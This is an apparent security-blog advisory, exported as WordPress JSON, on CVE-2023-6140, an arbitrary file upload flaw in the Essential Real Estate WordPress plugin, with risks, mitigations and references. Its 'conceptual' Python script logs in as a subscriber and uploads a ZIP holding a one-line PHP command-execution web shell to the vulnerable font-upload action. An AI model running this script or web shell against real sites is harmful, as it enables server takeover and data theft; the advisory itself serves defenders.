{"id":18989,"date":"2025-04-07T09:13:26","date_gmt":"2025-04-07T09:13:26","guid":{"rendered":""},"modified":"2025-08-07T11:09:38","modified_gmt":"2025-08-07T17:09:38","slug":"cve-2023-6140-arbitrary-file-upload-vulnerability-in-essential-real-estate-wordpress-plugin","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2023-6140-arbitrary-file-upload-vulnerability-in-essential-real-estate-wordpress-plugin\/","title":{"rendered":"CVE-2023-6140: Arbitrary File Upload Vulnerability in Essential Real Estate WordPress Plugin"},"content":{"rendered":"<p class=\"\" data-start=\"98\" data-end=\"123\"><strong data-start=\"98\" data-end=\"123\">Vulnerability Summary<\/strong><\/p>\n<ul data-start=\"125\" data-end=\"352\">\n<li class=\"\" data-start=\"125\" data-end=\"154\">\n<p class=\"\" data-start=\"127\" data-end=\"154\"><strong data-start=\"127\" data-end=\"138\">CVE ID:<\/strong> CVE-2023-6140<\/p>\n<\/li>\n<li class=\"\" data-start=\"155\" data-end=\"199\">\n<p class=\"\" data-start=\"157\" data-end=\"199\"><strong data-start=\"157\" data-end=\"170\">Severity:<\/strong> High (CVSS 3.1 Score: 8.8)<\/p>\n<\/li>\n<li class=\"\" data-start=\"200\" data-end=\"230\">\n<p class=\"\" data-start=\"202\" data-end=\"230\"><strong data-start=\"202\" data-end=\"220\"><\/strong><a href=\"https:\/\/www.ameeba.com\/blog\/local-hospital-network-grapples-with-major-tech-outage-a-cybersecurity-attack-case-study\/\"  data-wpil-monitor-id=\"66509\">Attack Vector: Network<\/a><\/p>\n<\/li>\n<li class=\"\" data-start=\"231\" data-end=\"277\">\n<p class=\"\" data-start=\"233\" data-end=\"277\"><strong data-start=\"233\" data-end=\"257\">Privileges Required:<\/strong> Low (Subscriber+)<\/p>\n<\/li>\n<li class=\"\" data-start=\"278\" data-end=\"308\">\n<p class=\"\" data-start=\"280\" data-end=\"308\"><strong data-start=\"280\" data-end=\"301\">User Interaction:<\/strong> None<\/p>\n<\/li>\n<li class=\"\" data-start=\"309\" data-end=\"352\">\n<p class=\"\" data-start=\"311\" data-end=\"352\"><strong data-start=\"311\" data-end=\"322\">Impact:<\/strong> <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-29048-remote-code-execution-via-oxmf-template-injection-in-open-xchange-app-suite\/\"  data-wpil-monitor-id=\"24565\">Remote Code Execution<\/a> (RCE)<\/p>\n<\/li>\n<\/ul>\n<p class=\"\" data-start=\"354\" data-end=\"375\"><strong data-start=\"354\" data-end=\"375\">Affected Products<\/strong><\/p>\n<div class=\"pointer-events-none relative left-[50%] flex w-[100cqw] translate-x-[-50%] justify-center *:pointer-events-auto\">\n<div class=\"tableContainer horzScrollShadows\">\n<table class=\"min-w-full\" data-start=\"377\" data-end=\"497\">\n<thead data-start=\"377\" data-end=\"406\">\n<tr data-start=\"377\" data-end=\"406\">\n<th data-start=\"377\" data-end=\"385\">Product<\/th>\n<th data-start=\"385\" data-end=\"406\">Affected Versions<\/th>\n<\/tr>\n<\/thead>\n<tbody data-start=\"438\" data-end=\"497\">\n<tr data-start=\"438\" data-end=\"497\">\n<td class=\"max-w-[calc(var(--thread-content-max-width)*2\/3)]\" data-start=\"438\" data-end=\"477\">Essential Real Estate <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-6532-cross-site-request-forgery-vulnerability-in-wp-blogs-planetarium-wordpress-plugin-vulnerability-summary\/\"  data-wpil-monitor-id=\"25031\">WordPress Plugin<\/a><\/td>\n<td class=\"max-w-[calc(var(--thread-content-max-width)*2\/3)]\" data-start=\"477\" data-end=\"497\">Versions \u2264 4.3.5<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<p class=\"\" data-start=\"499\" data-end=\"524\"><strong data-start=\"499\" data-end=\"524\">How the Exploit Works<\/strong><\/p>\n<p class=\"\" data-start=\"526\" data-end=\"683\"><span class=\"relative -mx-px my-[-0.2rem] rounded px-px py-[0.2rem] transition-colors duration-100 ease-in-out\">The Essential Real Estate <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-2005-critical-vulnerability-in-the-wordpress-plugin-front-end-users-feup\/\"  data-wpil-monitor-id=\"26008\">plugin for WordPress<\/a> fails to adequately validate file types during the font upload process.<\/span> <span class=\"relative -mx-px my-[-0.2rem] rounded px-px py-[0.2rem] transition-colors duration-100 ease-in-out\">This oversight allows authenticated users with subscriber-level permissions or higher to <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-2780-critical-arbitrary-file-upload-vulnerability-in-woffice-core-plugin-for-wordpress\/\"  data-wpil-monitor-id=\"27336\">upload arbitrary files<\/a>, including PHP scripts disguised as ZIP archives.<\/span> <span class=\"relative -mx-px my-[-0.2rem] rounded px-px py-[0.2rem] transition-colors duration-100 ease-in-out\">Once uploaded, these malicious files can be executed on the server, leading to <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-52030-critical-remote-code-execution-vulnerability-in-totolink-a3700r\/\"  data-wpil-monitor-id=\"25065\">remote code execution<\/a>.<\/span>\u200b<span class=\"ms-1 inline-flex max-w-full items-center relative top-[-0.094rem] animate-[show_150ms_ease-in]\"><a class=\"flex h-6 overflow-hidden rounded-xl px-2.5 text-[0.5625em] font-medium !text-token-text-secondary !bg-[#F4F4F4] dark:!bg-[#303030] transition-colors duration-150 ease-in-out\" href=\"https:\/\/www.wordfence.com\/threat-intel\/vulnerabilities\/wordpress-plugins\/essential-real-estate\/essential-real-estate-435-authenticated-subscriber-arbitrary-file-upload?utm_source=chatgpt.com\" target=\"_blank\" rel=\"noopener\"><span class=\"relative start-0 bottom-0 flex h-full w-full items-center\"><span class=\"flex h-4 w-full items-center justify-between absolute\"><span class=\"max-w-full grow truncate overflow-hidden text-center\">WPScan<\/span><span class=\"ms-1 -me-1 flex h-full items-center rounded-full px-1 text-[#8F8F8F]\">+4<\/span><\/span><span class=\"flex h-4 w-full items-center justify-between\"><span class=\"max-w-full grow truncate overflow-hidden text-center\">Wordfence<\/span><span class=\"ms-1 -me-1 flex h-full items-center rounded-full px-1 text-[#8F8F8F]\">+4<\/span><\/span><span class=\"flex h-4 w-full items-center justify-between absolute\"><span class=\"max-w-full grow truncate overflow-hidden text-center\">VulDB<\/span><span class=\"ms-1 -me-1 flex h-full items-center rounded-full px-1 text-[#8F8F8F]\">+4<\/span><\/span><\/span><\/a><\/span><span class=\"ms-1 inline-flex max-w-full items-center relative top-[-0.094rem] animate-[show_150ms_ease-in]\"><a class=\"flex h-6 overflow-hidden rounded-xl px-2.5 text-[0.5625em] font-medium !text-token-text-secondary !bg-[#F4F4F4] dark:!bg-[#303030] transition-colors duration-150 ease-in-out\" href=\"https:\/\/feedly.com\/cve\/CVE-2023-6140?utm_source=chatgpt.com\" target=\"_blank\" rel=\"noopener\"><span class=\"relative start-0 bottom-0 flex h-full w-full items-center\"><span class=\"flex h-4 w-full items-center justify-between absolute\"><span class=\"max-w-full grow truncate overflow-hidden text-center\">NVD<\/span><span class=\"ms-1 -me-1 flex h-full items-center rounded-full px-1 text-[#8F8F8F]\">+3<\/span><\/span><span class=\"flex h-4 w-full items-center justify-between\"><span class=\"max-w-full grow truncate overflow-hidden text-center\">Feedly<\/span><span class=\"ms-1 -me-1 flex h-full items-center rounded-full px-1 text-[#8F8F8F]\">+3<\/span><\/span><span class=\"flex h-4 w-full items-center justify-between absolute\"><span class=\"max-w-full grow truncate overflow-hidden text-center\">WPScan<\/span><span class=\"ms-1 -me-1 flex h-full items-center rounded-full px-1 text-[#8F8F8F]\">+3<\/span><\/span><\/span><\/a><\/span><\/p>\n<p class=\"\" data-start=\"685\" data-end=\"804\"><span class=\"relative -mx-px my-[-0.2rem] rounded px-px py-[0.2rem] transition-colors duration-100 ease-in-out\">The vulnerability resides in the <code data-start=\"33\" data-end=\"51\">gsf_upload_fonts<\/code> AJAX action, which lacks proper checks to prevent the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-2328-arbitrary-file-deletion-vulnerability-in-drag-and-drop-multiple-file-upload-for-contact-form-7-plugin\/\"  data-wpil-monitor-id=\"29553\">upload of dangerous file<\/a> types.<\/span> <span class=\"relative -mx-px my-[-0.2rem] rounded px-px py-[0.2rem] transition-colors duration-100 ease-in-out\">An attacker can exploit this by crafting a ZIP archive containing a malicious PHP <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-47992-critical-buffer-overflow-vulnerability-exploit-in-freeimage-library\/\"  data-wpil-monitor-id=\"25585\">file and uploading<\/a> it through the vulnerable endpoint.<\/span>\u200b<\/p>\n<p class=\"\" data-start=\"806\" data-end=\"833\"><strong data-start=\"806\" data-end=\"833\">Conceptual Example Code<\/strong><\/p>\n<p class=\"\" data-start=\"835\" data-end=\"916\"><span class=\"relative -mx-px my-[-0.2rem] rounded px-px py-[0.2rem] transition-colors duration-100 ease-in-out\">An <a href=\"https:\/\/www.ameeba.com\/blog\/unmasking-tcesb-malware-a-deep-analysis-of-active-attacks-exploiting-eset-security-scanner\/\"  data-wpil-monitor-id=\"27337\">attacker might use the following Python script to exploit<\/a> the vulnerability:\u200b<\/p>\n<div class=\"contain-inline-size rounded-md border-[0.5px] border-token-border-medium relative bg-token-sidebar-surface-primary\">\n<div class=\"overflow-y-auto p-4\" dir=\"ltr\"><code class=\"whitespace-pre! language-python\"><span class=\"hljs-keyword\">import<\/span> requests<br \/>\n<span class=\"hljs-keyword\">from<\/span> io <span class=\"hljs-keyword\">import<\/span> BytesIO<br \/>\n<span class=\"hljs-keyword\">import<\/span> zipfile<\/p>\n<p><span class=\"hljs-comment\"># Target URL and credentials<\/span><br \/>\nurl = <span class=\"hljs-string\">'https:\/\/target-site.com'<\/span><br \/>\nusername = <span class=\"hljs-string\">'subscriber_user'<\/span><br \/>\npassword = <span class=\"hljs-string\">'password123'<\/span><\/p>\n<p><span class=\"hljs-comment\"># Start a <a class=\"wpil_keyword_link\" href=\"https:\/\/chat.ameeba.com\"   title=\"session\" data-wpil-keyword-link=\"linked\"  data-wpil-monitor-id=\"24330\">session<\/a><\/span><br \/>\n<a href=\"http:\/\/pseudopod.ameeba.com\"   title=\"session\"  data-wpil-monitor-id=\"27773\">session<\/a> = requests.Session()<\/p>\n<p><span class=\"hljs-comment\"># Log in to WordPress<\/span><br \/>\nlogin_data = {<br \/>\n    <span class=\"hljs-string\">'log'<\/span>: username,<br \/>\n    <span class=\"hljs-string\">'pwd'<\/span>: password,<br \/>\n    <span class=\"hljs-string\">'wp-submit'<\/span>: <span class=\"hljs-string\">'Log In'<\/span>,<br \/>\n    <span class=\"hljs-string\">'redirect_to'<\/span>: <span class=\"hljs-string\">f'<span class=\"hljs-subst\">{url}<\/span><\/span>\/wp-admin\/',<br \/>\n    <span class=\"hljs-string\">'testcookie'<\/span>: <span class=\"hljs-number\">1<\/span><br \/>\n}<br \/>\nsession.post(<span class=\"hljs-string\">f'<span class=\"hljs-subst\">{url}<\/span><\/span>\/wp-login.php', data=login_data)<\/p>\n<p><span class=\"hljs-comment\"># Retrieve nonce<\/span><br \/>\nprofile_page = session.get(<span class=\"hljs-string\">f'<span class=\"hljs-subst\">{url}<\/span><\/span>\/wp-admin\/profile.php')<br \/>\nnonce = <span class=\"hljs-string\">'extracted_nonce_value'<\/span>  <span class=\"hljs-comment\"># Extract nonce from the profile_page content<\/span><\/p>\n<p><span class=\"hljs-comment\"># Create <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-31246-kernel-memory-corruption-in-macos-via-malicious-afp-server\/\"  data-wpil-monitor-id=\"47780\">malicious ZIP file in memory<\/a><\/span><br \/>\nzip_buffer = BytesIO()<br \/>\n<span class=\"hljs-keyword\">with<\/span> zipfile.ZipFile(zip_buffer, <span class=\"hljs-string\">'w'<\/span>, zipfile.ZIP_DEFLATED) <span class=\"hljs-keyword\">as<\/span> zip_file:<br \/>\n    zip_file.writestr(<span class=\"hljs-string\">'malicious.php'<\/span>, <span class=\"hljs-string\">'&lt;?php system($_GET[\"cmd\"]); ?&gt;'<\/span>)<br \/>\n    zip_file.writestr(<span class=\"hljs-string\">'style.css'<\/span>, <span class=\"hljs-string\">''<\/span>)  <span class=\"hljs-comment\"># Required file<\/span><br \/>\nzip_buffer.seek(<span class=\"hljs-number\">0<\/span>)<\/p>\n<p><span class=\"hljs-comment\"># <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-2891-arbitrary-file-upload-vulnerability-in-real-estate-7-wordpress-theme\/\"  data-wpil-monitor-id=\"29896\">Upload the malicious ZIP file<\/a><\/span><br \/>\nfiles = {<span class=\"hljs-string\">'file_font'<\/span>: (<span class=\"hljs-string\">'malicious.zip'<\/span>, zip_buffer, <span class=\"hljs-string\">'application\/zip'<\/span>)}<br \/>\ndata = {<span class=\"hljs-string\">'_nonce'<\/span>: nonce, <span class=\"hljs-string\">'name'<\/span>: <span class=\"hljs-string\">'malicious_font'<\/span>}<br \/>\nresponse = session.post(<span class=\"hljs-string\">f'<span class=\"hljs-subst\">{url}<\/span><\/span>\/wp-admin\/admin-ajax.php?action=gsf_upload_fonts', data=data, files=files)<\/p>\n<p><span class=\"hljs-built_in\">print<\/span>(response.text)<br \/>\n<\/code><\/div>\n<\/div>\n<p class=\"\" data-start=\"2096\" data-end=\"2133\">\n<p class=\"\" data-start=\"2135\" data-end=\"2220\"><span class=\"relative -mx-px my-[-0.2rem] rounded px-px py-[0.2rem] transition-colors duration-100 ease-in-out\">This script logs into the WordPress site using subscriber credentials, retrieves the necessary nonce, creates a malicious ZIP file containing a PHP shell, and <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-2006-arbitrary-file-upload-vulnerability-in-inline-image-upload-for-bbpress-wordpress-plugin\/\"  data-wpil-monitor-id=\"30196\">uploads it via the vulnerable<\/a> AJAX action.<\/span>\u200b<span class=\"ms-1 inline-flex max-w-full items-center relative top-[-0.094rem] animate-[show_150ms_ease-in]\"><a class=\"flex h-6 overflow-hidden rounded-xl px-2.5 text-[0.5625em] font-medium !text-token-text-secondary !bg-[#F4F4F4] dark:!bg-[#303030] transition-colors duration-150 ease-in-out\" href=\"https:\/\/wpscan.com\/vulnerability\/c837eaf3-fafd-45a2-8f5e-03afb28a765b\/?utm_source=chatgpt.com\" target=\"_blank\" rel=\"noopener\"><span class=\"relative start-0 bottom-0 flex h-full w-full items-center\"><span class=\"flex h-4 w-full items-center justify-between overflow-hidden\"><span class=\"max-w-full grow truncate overflow-hidden text-center\">WPScan<\/span><\/span><\/span><\/a><\/span><\/p>\n<p class=\"\" data-start=\"2222\" data-end=\"2241\"><strong data-start=\"2222\" data-end=\"2241\">Potential Risks<\/strong><\/p>\n<ul data-start=\"2243\" data-end=\"2594\">\n<li class=\"\" data-start=\"2243\" data-end=\"2330\">\n<p class=\"\" data-start=\"2245\" data-end=\"2330\"><span class=\"relative -mx-px my-[-0.2rem] rounded px-px py-[0.2rem] transition-colors duration-100 ease-in-out\"><a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-39336-a-deep-dive-into-the-remote-code-execution-vulnerability\/\"  data-wpil-monitor-id=\"25322\">Execution of arbitrary PHP code<\/a> on the server\u200b<\/p>\n<\/li>\n<li class=\"\" data-start=\"2331\" data-end=\"2418\">\n<p class=\"\" data-start=\"2333\" data-end=\"2418\"><span class=\"relative -mx-px my-[-0.2rem] rounded px-px py-[0.2rem] transition-colors duration-100 ease-in-out\">Full compromise of the WordPress site<\/span>\u200b<span class=\"ms-1 inline-flex max-w-full items-center relative top-[-0.094rem] animate-[show_150ms_ease-in]\"><a class=\"flex h-6 overflow-hidden rounded-xl px-2.5 text-[0.5625em] font-medium !text-token-text-secondary !bg-[#F4F4F4] dark:!bg-[#303030] transition-colors duration-150 ease-in-out\" href=\"https:\/\/feedly.com\/cve\/CVE-2023-6140?utm_source=chatgpt.com\" target=\"_blank\" rel=\"noopener\"><span class=\"relative start-0 bottom-0 flex h-full w-full items-center\"><span class=\"flex h-4 w-full items-center justify-between overflow-hidden\"><span class=\"max-w-full grow truncate overflow-hidden text-center\">Feedly<\/span><\/span><\/span><\/a><\/span><\/p>\n<\/li>\n<li class=\"\" data-start=\"2419\" data-end=\"2506\">\n<p class=\"\" data-start=\"2421\" data-end=\"2506\"><span class=\"relative -mx-px my-[-0.2rem] rounded px-px py-[0.2rem] transition-colors duration-100 ease-in-out\">Unauthorized <a class=\"wpil_keyword_link\" href=\"https:\/\/ameeba.com\"   title=\"access\" data-wpil-keyword-link=\"linked\"  data-wpil-monitor-id=\"24329\">access<\/a> to sensitive data<\/span>\u200b<\/p>\n<\/li>\n<li class=\"\" data-start=\"2507\" data-end=\"2594\">\n<p class=\"\" data-start=\"2509\" data-end=\"2594\"><span class=\"relative -mx-px my-[-0.2rem] rounded px-px py-[0.2rem] transition-colors duration-100 ease-in-out\">Defacement or disruption of website functionality<\/span>\u200b<\/p>\n<\/li>\n<\/ul>\n<p class=\"\" data-start=\"2596\" data-end=\"2626\"><strong data-start=\"2596\" data-end=\"2626\">Mitigation Recommendations<\/strong><\/p>\n<ul data-start=\"2628\" data-end=\"3086\">\n<li class=\"\" data-start=\"2628\" data-end=\"2738\">\n<p class=\"\" data-start=\"2630\" data-end=\"2738\"><strong data-start=\"2630\" data-end=\"2652\">Update the Plugin:<\/strong> <span class=\"relative -mx-px my-[-0.2rem] rounded px-px py-[0.2rem] transition-colors duration-100 ease-in-out\">Upgrade to Essential <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-32668-critical-php-remote-file-inclusion-vulnerability-in-rameez-iqbal-real-estate-manager\/\"  data-wpil-monitor-id=\"34973\">Real Estate<\/a> version 4.4.0 or later, which addresses this vulnerability.<\/span>\u200b<span class=\"ms-1 inline-flex max-w-full items-center relative top-[-0.094rem] animate-[show_150ms_ease-in]\"><a class=\"flex h-6 overflow-hidden rounded-xl px-2.5 text-[0.5625em] font-medium !text-token-text-secondary !bg-[#F4F4F4] dark:!bg-[#303030] transition-colors duration-150 ease-in-out\" href=\"https:\/\/wpscan.com\/vulnerability\/c837eaf3-fafd-45a2-8f5e-03afb28a765b\/?utm_source=chatgpt.com\" target=\"_blank\" rel=\"noopener\"><span class=\"relative start-0 bottom-0 flex h-full w-full items-center\"><span class=\"flex h-4 w-full items-center justify-between absolute\"><span class=\"max-w-full grow truncate overflow-hidden text-center\">NVD<\/span><span class=\"ms-1 -me-1 flex h-full items-center rounded-full px-1 text-[#8F8F8F]\">+2<\/span><\/span><span class=\"flex h-4 w-full items-center justify-between\"><span class=\"max-w-full grow truncate overflow-hidden text-center\">WPScan<\/span><span class=\"ms-1 -me-1 flex h-full items-center rounded-full px-1 text-[#8F8F8F]\">+2<\/span><\/span><span class=\"flex h-4 w-full items-center justify-between absolute\"><span class=\"max-w-full grow truncate overflow-hidden text-center\">Wordfence<\/span><span class=\"ms-1 -me-1 flex h-full items-center rounded-full px-1 text-[#8F8F8F]\">+2<\/span><\/span><\/span><\/a><\/span><\/p>\n<\/li>\n<li class=\"\" data-start=\"2739\" data-end=\"2853\">\n<p class=\"\" data-start=\"2741\" data-end=\"2853\"><strong data-start=\"2741\" data-end=\"2767\"><a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-7401-critical-file-read-write-vulnerability-in-premium-age-verification-restriction-for-wordpress-plugin\/\"  data-wpil-monitor-id=\"66508\">Restrict File<\/a> Uploads:<\/strong> <span class=\"relative -mx-px my-[-0.2rem] rounded px-px py-[0.2rem] transition-colors duration-100 ease-in-out\">Implement server-side checks to validate file types and restrict uploads to necessary formats only.<\/span>\u200b<span class=\"ms-1 inline-flex max-w-full items-center relative top-[-0.094rem] animate-[show_150ms_ease-in]\"><a class=\"flex h-6 overflow-hidden rounded-xl px-2.5 text-[0.5625em] font-medium !text-token-text-secondary !bg-[#F4F4F4] dark:!bg-[#303030] transition-colors duration-150 ease-in-out\" href=\"https:\/\/www.wordfence.com\/threat-intel\/vulnerabilities\/wordpress-plugins\/essential-real-estate\/essential-real-estate-435-authenticated-subscriber-arbitrary-file-upload?utm_source=chatgpt.com\" target=\"_blank\" rel=\"noopener\"><span class=\"relative start-0 bottom-0 flex h-full w-full items-center\"><span class=\"flex h-4 w-full items-center justify-between overflow-hidden\"><span class=\"max-w-full grow truncate overflow-hidden text-center\">Wordfence<\/span><\/span><\/span><\/a><\/span><\/p>\n<\/li>\n<li class=\"\" data-start=\"2854\" data-end=\"2969\">\n<p class=\"\" data-start=\"2856\" data-end=\"2969\"><strong data-start=\"2856\" data-end=\"2883\">Limit User Permissions:<\/strong> <span class=\"relative -mx-px my-[-0.2rem] rounded px-px py-[0.2rem] transition-colors duration-100 ease-in-out\">Ensure that users have the minimum necessary permissions to perform their roles.<\/span>\u200b<\/p>\n<\/li>\n<li class=\"\" data-start=\"2970\" data-end=\"3086\">\n<p class=\"\" data-start=\"2972\" data-end=\"3086\"><strong data-start=\"2972\" data-end=\"3000\">Monitor Server Activity:<\/strong> <span class=\"relative -mx-px my-[-0.2rem] rounded px-px py-[0.2rem] transition-colors duration-100 ease-in-out\">Regularly review server logs for suspicious activities, such as unexpected <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-2525-arbitrary-file-upload-vulnerability-in-streamit-wordpress-theme\/\"  data-wpil-monitor-id=\"30674\">file uploads<\/a> or executions.<\/span>\u200b<\/p>\n<\/li>\n<\/ul>\n<p class=\"\" data-start=\"3088\" data-end=\"3102\"><strong data-start=\"3088\" data-end=\"3102\">Conclusion<\/strong><\/p>\n<p class=\"\" data-start=\"3104\" data-end=\"3229\"><span class=\"relative -mx-px my-[-0.2rem] rounded px-px py-[0.2rem] transition-colors duration-100 ease-in-out\">CVE-2023-6140 is a critical <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-22937-critical-remote-code-execution-vulnerability\/\"  data-wpil-monitor-id=\"24873\">vulnerability in the Essential Real Estate WordPress plugin<\/a> that allows authenticated users with minimal permissions to upload and execute arbitrary PHP files, leading to potential full site compromise.<\/span> <span class=\"relative -mx-px my-[-0.2rem] rounded px-px py-[0.2rem] transition-colors duration-100 ease-in-out\"><a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-3211-unauthenticated-sql-injection-vulnerability-in-wordpress-database-administrator-plugin\/\"  data-wpil-monitor-id=\"29974\">Administrators should promptly update the plugin<\/a> and implement the recommended security measures to protect their websites.<\/span>\u200b<span class=\"ms-1 inline-flex max-w-full items-center relative top-[-0.094rem] animate-[show_150ms_ease-in]\"><a class=\"flex h-6 overflow-hidden rounded-xl px-2.5 text-[0.5625em] font-medium !text-token-text-secondary !bg-[#F4F4F4] dark:!bg-[#303030] transition-colors duration-150 ease-in-out\" href=\"https:\/\/feedly.com\/cve\/CVE-2023-6140?utm_source=chatgpt.com\" target=\"_blank\" rel=\"noopener\"><span class=\"relative start-0 bottom-0 flex h-full w-full items-center\"><span class=\"flex h-4 w-full items-center justify-between\"><span class=\"max-w-full grow truncate overflow-hidden text-center\">Feedly<\/span><span class=\"ms-1 -me-1 flex h-full items-center rounded-full px-1 text-[#8F8F8F]\">+1<\/span><\/span><span class=\"flex h-4 w-full items-center justify-between absolute\"><span class=\"max-w-full grow truncate overflow-hidden text-center\">NVD<\/span><span class=\"ms-1 -me-1 flex h-full items-center rounded-full px-1 text-[#8F8F8F]\">+1<\/span><\/span><\/span><\/a><\/span><span class=\"\" data-state=\"closed\"><span class=\"ms-1 inline-flex max-w-full items-center relative top-[-0.094rem] animate-[show_150ms_ease-in]\"><a class=\"flex h-6 overflow-hidden rounded-xl px-2.5 text-[0.5625em] font-medium !text-token-text-secondary !bg-[#F4F4F4] dark:!bg-[#303030] transition-colors duration-150 ease-in-out\" href=\"https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2023-6140?utm_source=chatgpt.com\" target=\"_blank\" rel=\"noopener\"><span class=\"relative start-0 bottom-0 flex h-full w-full items-center\"><span class=\"flex h-4 w-full items-center justify-between overflow-hidden\"><span class=\"max-w-full grow truncate overflow-hidden text-center\">NVD<\/span><\/span><\/span><\/a><\/span><\/span><\/p>\n<p class=\"\" data-start=\"3231\" data-end=\"3245\"><strong data-start=\"3231\" data-end=\"3245\">References<\/strong><\/p>\n<ul data-start=\"3247\" data-end=\"3605\">\n<li class=\"\" data-start=\"3247\" data-end=\"3320\">\n<p class=\"\" data-start=\"3249\" data-end=\"3320\"><a class=\"\" href=\"https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2023-6140\" target=\"_new\" rel=\"noopener\" data-start=\"3249\" data-end=\"3318\">NVD \u2013 CVE-2023-6140<\/a><\/p>\n<\/li>\n<li class=\"\" data-start=\"3321\" data-end=\"3413\">\n<p class=\"\" data-start=\"3323\" data-end=\"3413\"><a target=\"_new\" rel=\"noopener\" data-start=\"3323\" data-end=\"3411\">WPScan Advisory<\/a><\/p>\n<\/li>\n<li class=\"\" data-start=\"3414\" data-end=\"3605\">\n<p class=\"\" data-start=\"3416\" data-end=\"3605\"><a target=\"_new\" rel=\"noopener\" data-start=\"3416\" data-end=\"3605\">Wordfence Advisory<\/a><\/p>\n<\/li>\n<\/ul>\n","protected":false},"excerpt":{"rendered":"<p>Vulnerability Summary CVE ID: CVE-2023-6140 Severity: High (CVSS 3.1 Score: 8.8) Attack Vector: Network Privileges Required: Low (Subscriber+) User Interaction: None Impact: Remote Code Execution (RCE) Affected Products Product Affected Versions Essential Real Estate WordPress Plugin Versions \u2264 4.3.5 How the Exploit Works The Essential Real Estate plugin for WordPress fails to adequately validate file [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[],"product":[],"attack_vector":[80],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-18989","post","type-post","status-publish","format-standard","hentry","category-uncategorized","attack_vector-rce"],"aioseo_notices":[],"aioseo_head":"\n\t\t<!-- All in One SEO 5.0.4 - aioseo.com -->\n\t<meta name=\"description\" content=\"Vulnerability Summary CVE ID: CVE-2023-6140 Severity: High (CVSS 3.1 Score: 8.8) Attack Vector: Network Privileges Required: Low (Subscriber+) User Interaction: None Impact: Remote Code Execution (RCE) Affected Products Product Affected Versions Essential Real Estate WordPress Plugin Versions \u2264 4.3.5 How the Exploit Works The Essential Real Estate plugin for WordPress fails to adequately validate file\" \/>\n\t<meta name=\"robots\" content=\"max-image-preview:large\" \/>\n\t<meta name=\"author\" content=\"Ameeba\"\/>\n\t<link rel=\"canonical\" href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-6140-arbitrary-file-upload-vulnerability-in-essential-real-estate-wordpress-plugin\/\" \/>\n\t\t<meta name=\"generator\" content=\"All in One SEO (AIOSEO) 5.0.4\" \/>\n\t\t<meta property=\"og:locale\" content=\"en_US\" \/>\n\t\t<meta property=\"og:site_name\" content=\"Ameeba Blog - Your Guide to a Safer Digital World.\" \/>\n\t\t<meta property=\"og:type\" content=\"article\" \/>\n\t\t<meta property=\"og:title\" content=\"CVE-2023-6140: Arbitrary File Upload Vulnerability in Essential Real Estate WordPress Plugin - Ameeba Blog\" \/>\n\t\t<meta property=\"og:description\" content=\"Vulnerability Summary CVE ID: CVE-2023-6140 Severity: High (CVSS 3.1 Score: 8.8) Attack Vector: Network Privileges Required: Low (Subscriber+) User Interaction: None Impact: Remote Code Execution (RCE) Affected Products Product Affected Versions Essential Real Estate WordPress Plugin Versions \u2264 4.3.5 How the Exploit Works The Essential Real Estate plugin for WordPress fails to adequately validate file\" \/>\n\t\t<meta property=\"og:url\" content=\"https:\/\/www.ameeba.com\/blog\/cve-2023-6140-arbitrary-file-upload-vulnerability-in-essential-real-estate-wordpress-plugin\/\" \/>\n\t\t<meta property=\"og:image\" content=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/02\/image-5.png\" \/>\n\t\t<meta property=\"og:image:secure_url\" content=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/02\/image-5.png\" \/>\n\t\t<meta property=\"article:published_time\" content=\"2025-04-07T09:13:26+00:00\" \/>\n\t\t<meta property=\"article:modified_time\" content=\"2025-08-07T17:09:38+00:00\" \/>\n\t\t<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n\t\t<meta name=\"twitter:title\" content=\"CVE-2023-6140: Arbitrary File Upload Vulnerability in Essential Real Estate WordPress Plugin - Ameeba Blog\" \/>\n\t\t<meta name=\"twitter:description\" content=\"Vulnerability Summary CVE ID: CVE-2023-6140 Severity: High (CVSS 3.1 Score: 8.8) Attack Vector: Network Privileges Required: Low (Subscriber+) User Interaction: None Impact: Remote Code Execution (RCE) Affected Products Product Affected Versions Essential Real Estate WordPress Plugin Versions \u2264 4.3.5 How the Exploit Works The Essential Real Estate plugin for WordPress fails to adequately validate file\" \/>\n\t\t<meta name=\"twitter:image\" content=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/02\/image-5.png\" \/>\n\t\t<script type=\"application\/ld+json\" class=\"aioseo-schema\">\n\t\t\t{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"BlogPosting\",\"@id\":\"https:\\\/\\\/www.ameeba.com\\\/blog\\\/cve-2023-6140-arbitrary-file-upload-vulnerability-in-essential-real-estate-wordpress-plugin\\\/#blogposting\",\"name\":\"CVE-2023-6140: Arbitrary File Upload Vulnerability in Essential Real Estate WordPress Plugin - Ameeba Blog\",\"headline\":\"CVE-2023-6140: Arbitrary File Upload Vulnerability in Essential Real Estate WordPress 